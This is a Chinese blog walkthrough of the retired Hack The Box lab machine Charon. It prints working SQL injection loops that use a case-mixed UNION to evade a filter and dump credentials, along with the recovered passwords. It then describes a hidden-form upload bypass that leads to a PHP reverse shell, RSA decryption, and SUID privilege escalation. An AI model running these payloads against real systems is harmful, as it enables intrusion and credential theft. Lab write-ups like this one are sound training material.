• HTB-靶机-Charon


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.31

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令

    autorecon 10.10.10.31 -o ./charon-autorecon

    最终的扫描结果

    还看了使用gobuster跑的目录,没发现有价值的目录,逐改下参数,再使用ffuf和gobuster跑一下

    ffuf -u http://10.10.10.31/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    gobuster dir -u http://10.10.10.31/cmsdata -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o bmfx-charon.gobusters -t 100

    但是访问cmsdata显示跳转到403,所以再次使用gobuster进行子目录爆破,发现如下信息

    最终访问http://10.10.10.31/cmsdata/login.php 

    试了下弱口令没有成功,看到有个忘记密码的功能随便写个邮件地址,然后burpsuite抓包,通过简单的测试发现存在sql注入,这靶机难度还是有的,过滤union和UNION查询语句关键字,需要通过UNion进行手工注入测试,经过漫长的测试,最终确认可测试注入脚本,如下:

    跑出目标靶机的用户名和密码的格式
    for i in $(seq 0 100); do
            payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(TABLE_SCHEMA, ':', TABLE_NAME, ':', COLUMN_NAME, '@b.com') FROM INFORMATIoN_SCHEMA.COLUMNS WHERE TABLE_SCHEMA != 'InformatiOn_Schema' LIMIT 1 OFFSET $i-- -"
            curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*b.com'
            done

    得到了邮件名称信息格式
    __username_
    __password_

    修改脚本获取账号和密码hash

    for i in $(seq 0 300); do
            payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
            curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
            done

    执行完成之后得到账号和密码hash
    super_cms_adm:0b0689ba94f94533400f4decd87fa260@b.com -- tamarro
    decoder:5f4dcc3b5aa765d61d8327deb882cf99@b.com -- password

    综合上述信息得出如下信息:

    用户名:super_cms_adm
    密码:tamarro

    登录成功之后是如下页面

    看到有上传图片的地方,尝试了正常图片和非正常图片都无法上传成功,在上传点出通过查看网页源代码发现如下信息:

    猜测那个name是base64编码,通过base64解码上面隐藏的表单

    根据上述得到的记过,可以通过更改前端页面隐藏表单信息进行上传格式为php的文件,从而反弹shell,这里是需要准备好反弹代码,后缀改成jpg

    上述更改前端代码也是可以通过burpsuite拦截进行修改然后操作,都可以完成

    反弹shell成功,成功之后本以为可以直接读取user.txt发现没有权限还是需要提权到另一个用户decoder,这里使用nc将文件传到kali本地,然后使用工具 https://github.com/Ganapati/RsaCtfTool  进行破解

    开始破解

    python3 RsaCtfTool.py --publickey decoder.pub --uncipherfile pass.crypt

    得到密码:nevermindthebollocks 使用此密码登录目标靶机用户decoder

    使用LinEnum.sh脚本枚举目标靶机可以提权的信息,找到一个二进制文件

    执行了一把提示需要cmd命令,使用strings命令查看有发现带/bin/ls命令,如果懂二进制,可以分析就知道怎么回事,这里我直接读取root.txt

    可以按照上述两种形式来读取root.txt

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    大神的文章
    分布式锁
    分布式事务
    事务两三事
    spring框架笔记
    三个缓存数据库Redis、Memcache、MongoDB
    面向对象面试题
    SSM面试
    单例模式
    Spring Cloud面试题
  • 原文地址:https://www.cnblogs.com/autopwn/p/13959934.html
Copyright © 2020-2023  润新知